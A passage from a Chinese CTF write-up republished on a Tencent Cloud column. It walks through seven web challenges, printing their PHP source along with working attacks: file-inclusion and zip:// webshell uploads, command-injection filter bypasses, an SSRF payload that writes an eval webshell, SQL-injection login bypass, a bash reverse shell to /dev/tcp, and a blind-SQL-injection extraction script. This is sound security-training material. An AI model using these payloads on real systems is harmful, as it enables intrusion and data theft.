Loading [MathJax]/jax/input/TeX/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >writeup分享 | 近期做的比较好的web

writeup分享 | 近期做的比较好的web

作者头像
安恒网络空间安全讲武堂
发布于 2018-02-06 07:12:24
发布于 2018-02-06 07:12:24
1.6K0
举报

0x01猫头鹰嘤嘤嘤

http://124.128.55.5:30829/index.php

首先分析一下功能,随便上传一张jpg图片上传,跳转到 http://124.128.55.5:30829/index.php?page=view&id=0evBNzz,想到文件包含漏洞,尝试用php://filter伪协议去读源码

http://124.128.55.5:30829/index.php?page=php://filter/read=convert.base64-encode/resource=index

这里注意.php是自动补的,不需要写。

读出来的源码如下:

代码语言:js
AI代码解释
复制
view.php
<? php $pic = $_REQUEST['id'];

if ($pic == "" || $pic == "random") {
  $picname = "preloaded-owls/".rand(1, 14).".jpg";
} else $picname = "/owl/".$pic.".jpg";
echo '<img src="'.$picname.'">'; ?>
 
index.php
<? php $p = $_REQUEST['page'];
if ($p == "" || $p == "index") {
  $p = "main";
}
$haq = base64_decode("ICAgICAgICAgICAgICAgICAgIC8tLS0tLS0tLS0KICAgICAgICAgICAgICAgICAgLyAvIC8qKioqKipcCiAgICAgICAgICAgICAgICAgLyAvKioqKi0tICogKlwKICAgICAgLy8oKCg6PDw8PC86KioqKioqKioqM1xYKlwoKDwKICAgICAvWFgvQ1hDJkNHRy8vKiovLS0vLy9YKlZcKiouLmcmCigvVkNDM2dnMC4uLi4uLi4uKi8vWC8vKC8vL1YqQ1wqLi44ODhnZzhnJjNDPAooMyZnRyYuLi4uLi4uLi4uLiouLlhYWC8oKCgvKi5cKi4uLi4uLi5HLzA4ODgzWDxgCi8oPEM4IC4uLi4uLi4uLi4uKi5YWFhYLy8vLzwvLi4qLi4uLi4uLi4uLi4uLi4uM0NeClgvLzw8Ly4uLi4uLi4uLi4uKiZDVlgvLy9WLzw8Ly4qLi4uLi4uLi4uLi4uLi4uOEdDPApYWC9DLzo8L1YuLi4uLi4uLiomM0NWWFZYVlgoPFYqKi4uLi4uLi4uLi4uLi4uLiBnOENeCiAgICBHQy88PC8oLi4uLi44RyYzQ0NWWFhYWFZ+WFYqLi4uLi4uLi4uLi4uLi4uIEM4M1YKICAgICAgIFYvPF48KFg4OCZWLy8oKDw8PDwoKDxePCoqLi4uLi4uLi4uLi4uLi4uWCYmQwogICAgICAgICAgICAgIGA6L0NDVi8oKCg8PCgvVlZWLyouLi4uLi4uLi4uLi4uLigvQyYvCiAgICAgICAgICAgICAgIDw8IF5eKC9WMzNWWC9WQyZYKlZDLi4uLjo8PH48PDwoKFggIGAKICAgICAgICAgICAgICAgVi8oLzwgXiBeXjovWC8oKDw8Xl4tLS1WOn5+PDwoCiAgICAgICAgICAgICAgMyYgICAgICAgICAgICAgICAgICAuXi0vCiAgICAgICAgICAgICAgQyAgL1wgICAgICAgL1wgICAgICAgIHwKICAgICAgICAgICAgIC9DICBcLyAgICAgICBcLyAgICAgICAvLwogUExaIFNUT1AgICAgIDMgICAgICAgICAgICAgICAgICAgIHxcCiAgIEhBQ0tJTkcgICAgQyAgICAgICAgICAgICAgICAgICAvNSoKICAgICAgICAgICAgICBWICAgICAvLS0tLS1cICAgICAgIC8KICAgICAgICAgICAgICBDRyAgfCAgICAgICAgIHwgIDwvLy88CiAgICAgICAgICAgICAgVkdWIHwgICAgICAgICB8IF4oL1g8XgogICAgICAgICAgICAgICAmJjwgIFwtLS0tLS8gIC4oKDwoXgogICAgICAgICAgICAgICAgODMoICAgICAgICAuPCh+YDw8CiAgICAgICAgICAgICAgICAgOFhgICAgICAuPDxeYCBgKCheCiAgICAgICAgICAgICAgICBCQEBDPC5gXl5gICAgICBeKENHJkMoPC5gYAogICAgIENHOEIkQEBAQEBAQEBAJCggICAgICAgICAgXl4oMEBAQEAkODNYPGAKICAgQkBAQEBAQEBAQEBAQEBAQEBAOC8gICAgICAgYDxDJEBAQEBAQEBAQEAkJjwKICBAQEBAQEBAQEBAQEBAQEAkJCRAQEAkJDA4ODhCQEBAQEBAQEBAQEBAQEBAQEBWYAogQEBAQEBAQEBAQEBAQEAkQCQkJCQkJCRAQEBAJCRAQEAkQEBAQEBAQEBAQEBAQEBDYApAQEBAQEBAQEBAQEBAQCRAJCQkJCQkJCQkJCQkJCQkJCQkQEBAQEBAQEBAQEBAQEBAKGAKQEBAQEBAQEBAQEAkQCQkJCQkJCQkJCQkJCQkQEAkJEBAQEBAQEBAQEBAQEBAQEBAQEIK");
$haq = htmlentities($haq);
if (strstr($p, "..") !== FALSE) die("<pre>$haq</pre>");
if (stristr($p, "http") !== FALSE) die("<pre>$haq</pre>");
if (stristr($p, "ftp") !== FALSE) die("<pre>$haq</pre>");
if (strlen($p) >= 60) die("<pre>string > 60 $haq</pre>");
$inc = sprintf("%s.php", $p); ?> < !DOCTYPE html > < html lang = "en" > < head > < meta charset = "utf-8" > < meta http - equiv = "X-UA-Compatible"
content = "IE=edge" > < meta name = "viewport"
content = "width=device-width, initial-scale=1" > < title > Owlur - The simple image sharing website
for owl pictures < /title>      <!-- Bootstrap -->     <link href="css/bootstrap.min.css " rel="
stylesheet ">      <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->     <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->     <!--[if lt IE 9]>       <script src="
https: //oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>       <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>     <![endif]-->   </head>   <body style="background-color: #d0d0c8;"> <center> <h1>owlur</h1>    <?php include($inc); ?> </center>     <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->     <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>     <!-- Include all compiled plugins (below), or include individual files as needed -->     <script src="js/bootstrap.min.js"></script>   </body> </html>
upload.php
upload.php
<? php
function RandomString() {
  $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  $randstring = "";
  for ($i = 0; $i < 7; $i++) {
    $randstring. = $characters[rand(0, strlen($characters) - 1)];
  }
  return $randstring;
}
$target_dir = "/var/www/html/owlur-upload-zzzzzz/";
$target_file = $target_dir.basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 0;
$imageFileType = pathinfo($target_file, PATHINFO_EXTENSION);
$fsize = $_FILES['fileToUpload']['size'];
$newid = RandomString();
$newname = $newid.".jpg";
if (isset($_POST["submit"])) {
  if ($imageFileType == "jpg") {
    $uploadOk = 1;
  } else {
    echo "<p>Sorry, only JPG images of owls will be accepted. Please use a different service if you do not intend to upload owl pictures.</p>";
    $uploadOk = 0;
  }
  if (!($fsize >= 0 && $fsize <= 200000)) {
    $uploadOk = 0;
    echo "<p>Sorry, the size of your owl picture is not to our liking.</p>";
  }
}
if ($uploadOk) {
  $newpath = "/var/www/html/owlur-upload-zzzzzz/".$newname;
  if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $newpath)) {
    header('Location: /index.php?page=view&id='.$newid);
  } else {
    echo "<p>Sorry, there was an error uploading your file.</p>";
  }
} ?>
 
/var/www/html/owlur-upload-zzzzzz/5RKTuqt
 
ZL4TD1w

分析代码

首先看index.php,存在文件包含漏洞,并且过滤了../http/ftp,对文件长度也做了限制。

然后分析upload.php,RandomString()函数用于生产一个随机ID,然后对文件后缀进行了判断,只允许上传jpg文件,这里可以使用伪协议去绕过。

php伪协议文章:http://www.freebuf.com/column/148886.html

将含有一句话的php压缩成zip,重命名成jpg, 上传得到

http://124.128.55.5:53859/index.php?page=view&id=2LsuNg3

菜刀连接http://124.128.55.5:53859/index.php?page=zip://./owlur-upload-zzzzzz/2LsuNg3.jpg%23test

成功getshell。

0x02前端跑路了QAQ

代码语言:js
AI代码解释
复制
访问http://124.128.55.5:36311/index.txt,得到源代码
<?php 
 
$ip = isset($_POST['ip'])?$_POST['ip']:die();
 
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
    die("ip 格式错误!");
}
 
echo strlen($ip);
 
if(strlen($ip)<7||strlen($ip)>21){
    die("ip 长度错误!");
}
 
         // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                 // Windows
 
         $cmd = shell_exec( 'ping  ' .$ip );
}else {
                 // *nix
                 $cmd = shell_exec( 'ping  -c 1 ' .$ip );
}
 
         // Feedback for the end user
echo  "<pre>{$cmd}</pre>";

简单分析一下就是首先正则匹配ip格式,然后命令执行,需要绕过正则来进行命令注入。

需要知道preg_match()只匹配第一行,所以可以通过换行符来操作。

0x03 网络公司ping命令测试

复现地址:http://183.67.184.159:8888/ctf/shellcodeexec/

这个题跟上面那个题差不多,执行ping命令。

发现对ip的匹配判断操作是写在js里面的

代码语言:js
AI代码解释
复制
function f_check_IP()      
{  var ip = document.getElementById('reg_ip').value;  
                    var re=/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/;
                    if(re.test(ip))     
                    {     
                        if( RegExp.$1<256 && RegExp.$2<256 && RegExp.$3<256 && RegExp.$4<256)   
                        return true;     
                    }     
                    alert("IP\u683C\u5F0F\u4E0D\u6B63\u786E");     
                    return false;      
}

这里就可以直接用浏览器禁用掉js了,然后执行ls命令

然后去读key_31321321421543.php的数据,

post: iipp=xx|cat key_31321321421543.php&submit=Ping

但是没有回显,应该是过滤了空格,可以使用<``${IFS}``$IFS$9去绕过

0x04上传上传!!

代码语言:js
AI代码解释
复制
<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
 
}else{
    show_source(__FILE__);
    exit();
}
if(strpos($path,'..') > -1){
    die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}

strpos($path,'..')函数是返回匹配的字符串的首位置,这里是个简单waf。

这里将file的data写入到path中去,如果没有就新建一个

但是这里需要getshell,需要考虑怎么写入一句话,需要构造一个有webshell的页面,然后可以将这个页面写入到新的php页面中,大体思路是这样,然后这里可以利用ssrf原理,让它构建出一个含有一句话的页面,然后利用这个页面getshell。

payload:

http://124.128.55.5:64778/?file=http://127.0.0.1/?file=http%3A%2f%2f127.0.0.1%2f%26path%3D%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E&path=shell.php

成功getshell

0x05 login2

靶场地址:http://47.93.190.246:49165/

首先通过http响应头获得提示

代码语言:js
AI代码解释
复制
 $sql="SELECT username,password FROM admin WHERE username='".$username."'"; if (!empty($row) && $row['password']===md5($password)){ }

可以通过构造

username='union select 1,md5(1)#&&password=1

直接登录,也就是说通过构造sql语句使查询出来的password可控。 登录之后可以看到是个进程监控系统

然后测试过滤了什么字符,但是苦逼的是没有回显啊,尝试执行

c=1 ; sleep 5

页面加载了好几秒,也就是说命令执行了, 然后测试一下是否可以连接外网

c=123 ; ping www.baidu.com

一直转圈,显然可以访问,然后在vps上nc监听,使用bash反弹。

c=123 ; bash -i >& /dev/tcp/vps/7777 0>&1

成功getshell。

0x06 login3

靶场地址:http://47.93.190.246:49167/

题目提示考查布尔盲注

首先使用burpsuite测试一下过滤 根据返回长度判断是否被过滤。

首先测出过滤了

1. 空格 2. * 3. + 4. ; 5. = 6. is 7. union 8. like 9. where 10. for 11. and 12. file 13. ` 14. 各种截断字符串: %09,%0a,%0b,%0c 15. ,

可以使用的关键词

1. select 2. from 3. or 4. ' 5. () 6. <>

以及不含关键词的mysql自带函数,很容易看得出是一个盲注,没了空格的话可以使用括号来代替。

select password from admin where username='admin' select(password)from(admin)where(username)=('admin')

这两条语句是没有区别的

空格解决了就可以构造布尔条件了,不能使用等号但是可以使用不等号,所以可以构造

'or(变量1<>变量2)#

注意这里结果是相反的,也就是说

' or(1<>2)#

为真。 执行sql语句为:

select * from admin where username=''or(1<>2)

可以看到构造成功。

接下来用二分法猜一下password有多少位

代码语言:js
AI代码解释
复制
username='or((length(password))<50)#&password= #正确,位数< 50
username='or((length(password))<25)#&password= #错误,25 <= 位数 < 50
username='or((length(password))<37)#&password= #正确,25 <= 位数 < 37
username='or((length(password))<31)#&password= #错误,31 <= 位数 < 37
username='or((length(password))<34)#&password= #正确,31 <= 位数 < 34
username='or((length(password))<32)#&password= #错误,32 <= 位数 < 34
username='or((length(password))<33)#&password= #正确,32 <= 位数 < 33
username='or((length(password))<>32)#&password= #错误,位数 = 32

估计是md5,但是逗号被ban了,不过可以使用from,作用是从该位截取到字符串尾部:

直接写脚本跑吧.

脚本如下

代码语言:js
AI代码解释
复制
import requests
url = "http://47.93.190.246:49167/index.php"
def check(payload):
         postdata = {'username':payload,'password':'xx'}
         r = requests.post(url,postdata).content 
         return "username does not exist!" in r 
password = ''
s = r'0123456789abcdef'
for i in xrange(32,0,-1):
         for c in s:
                 payload = "'or(mid((select(password)from(admin))from(%d))<>'%s')#" % (i,c+password)
                 #print payload
                 if check(payload):
                          password = c + password
                          break
         print password

0x07简单的文件上传

这道题的思路挺好的,涨姿势了。

提示不能上传php文件,但是可以上传PHP,不过这里纯粹验证上传的文件名,然后

这里是路径,两者是直接连接的,然后可以

后面就是截断的问题了,不要老想着00截断,有的时候可能其他的截断,然后简单fuzz一下就OK, 使用脚本

代码语言:js
AI代码解释
复制
file = open("fuzz.txt",'w')
for i in range(256):
         file.write(chr(i)+'\n')
file.close()

然后这里Load一下刚才生成的fuzz.txt,就能fuzz出用什么可以截断。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-01-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
近期做的比较好的web
企鹅号小编
2018/01/08
1.6K0
近期做的比较好的web
HITCON2017-writeup整理
由于最近HCTF2017就要开始了,投入了大量的精力来维护题目和测试平台,无奈刚好错过了HITCON的比赛,赛后花了大量的时间整理writeup,不得不说Orange在Web很多问题的底层溯源上领先了我一大截,下面分享我的writeup。
LoRexxar
2023/02/21
5590
HITCON2017-writeup整理
sctf2016_writeup
周末打了sctf2016,结果遇到了tomato大神的各种渗透题目….大神的脑回路都好长啊,题目都是一层连一层…
LoRexxar
2023/02/20
3440
sctf2016_writeup
Web安全|.htaccess的奇淫技巧
.htaccess 文件是Apache中有一种特殊的文件,其提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一条或多条指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。
HACK学习
2021/05/14
6.7K0
华山杯2016_writeup
今年华山杯体验比去年要差一点儿…感觉太多的题目都很迷,其余几道比较不错的题目基本都是国外抄来的原题,甚至于文件读取的题目有洞,所有的题目又在一个环境下。。。导致各种非预期,整理下wp慢慢来吧…
LoRexxar
2023/02/21
2950
华山杯2016_writeup
RCTF2015_writeup
这次的rctf貌似是第一次举办,而且还是所属xctf,所以出现了好多大牛队伍,题目脑洞大还要强行增加难度(估计出题人已经把能想到的问题全部扔上去了),也不知道是受了什么的刺激,不管怎么样,还是从一大堆注入题目中学习了不少没见过的注入姿势,留下writeup…
LoRexxar
2023/02/20
3940
RCTF2015_writeup
CTF系列——DASCTF四月春季赛Writeup
很久没正式打CTF,周末抽空参加了下安恒四月赛的DASCTF,个别题目质量还是蛮高的,这里把做出来的和赛后补充的做个记录。
Jayway
2020/05/09
5.9K1
CTF系列——DASCTF四月春季赛Writeup
Hgame_week3_web
Payload : 1andif((1=2),exp(999999999),1)#
安恒网络空间安全讲武堂
2019/03/08
1.1K0
Hgame_week3_web
alictf2016_web_writeup
感觉时间总算是转了一年,去年也大概是alictf才开始能做出签到题目以外的题目,今年强撸了一波alictf,不得不说,又遇到蓝莲花+0ops出题,web真的难度很高,比较蛋疼的是homework,说实话是一道想法很好很好的题目,但是强行和asis有区别,写了实战情况不合的权限….不管怎么说还是学了很多东西,整理下wp…
LoRexxar
2023/02/21
2320
alictf2016_web_writeup
Jarvis OJ Writeup
header 头里面发现 hint: “select * from `admin` where password=’”.md5($pass,true).”‘“
wywwzjj
2023/05/09
6570
NJCTF Web部分writeup
又到了一年一度的比赛季,这次打了打赛宁自己办的NJCTF,这里稍微整理下Web部分的wp,虽然不知道题目是谁出的,但是我觉得大部分题目还是挺蠢的…看的人从中汲取自己想要的知识就好。
LoRexxar
2023/02/21
3180
NJCTF Web部分writeup
MeePwn-Web复现
这里有一个链接的跳转header( "Location: alien_sector.php" ),但是需要$_GET['alien']==='@!#$@!@@'
安恒网络空间安全讲武堂
2018/08/17
1.1K0
MeePwn-Web复现
VulnHub靶场 PwnLab: init 渗透测试思路
是个白名单验证只能上传图片马,然后使用index.php的文件包含漏洞getshell,这里需要登陆才能上传文件
曈曈too
2024/08/24
1881
VulnHub靶场 PwnLab: init 渗透测试思路
buuCTF之web题目wp
进入环境提示/?ip=,就传一个?ip=127.0.0.1有回显结果, 这是经典的Linux命令执行,使用命令执行的管道符 “|” 执行ls命令列出文件,可以看到题目中含有index.php和flag.php
十二惊惶
2024/02/28
2490
BUUCTF web writeup
右键查看源代码 发现 <!--source.php-->访问source.php发现源码 题目考察代码审计
用户2700375
2022/06/09
1.2K0
BUUCTF web writeup
强网杯 2022 Web writeup
cookie中有序列化的userfile字段来表示用户已经上传的文件,那应该要先想办法通过文件读取的功能读取到源代码,然后再考虑如何结合反序列化实现RCE。
ek1ng
2022/09/23
8380
强网杯 2022 Web writeup
记最近做的几道题
有关可以参考 https://wh1tecell.top/2021/11/11/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8Bfast-destruct/
pankas
2022/11/07
5370
记最近做的几道题
2017 LCTF WriteUp 4篇
周末刚刚结束的LCTF,我们队一共做出了4道web,一道misc还有一道问卷调查(好气啊没抢到一血换pwnhub邀请码),感谢吃饭去大佬带飞~ 前言 对本渣渣而言,本次比赛质量还是不错的,我们队做出的四道web就涉及到了CBC字节翻转攻击、PaddingOracle攻击、sprintf格式化注入、sql报错注出库名表名、join注入出列名、orderby无表名注入数据、SSRF绕过、条件竞争、7个字符内getshell等知识,收获颇丰。下面是4道web的题目和WriteUp: Simple blog “他
安恒网络空间安全讲武堂
2018/02/06
1.4K0
2017 LCTF WriteUp 4篇
BJD WEB
我们可以将POST提交的username后面的单引号转义一下,通过转义使得其和password前面的单引号闭合,将passwod后面的逃逸出来。
ly0n
2020/11/04
4500
BJD WEB
WriteUp分享 | CTF-web
题目 各种绕过哦 TXT? 文件上传测试 本地包含 考细心 正则? PHP很烦人? 一道签到题 抽抽奖 never give up I have a jpg,i upload a txt lo
安恒网络空间安全讲武堂
2018/02/06
6.7K0
WriteUp分享 | CTF-web
相关推荐
近期做的比较好的web
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档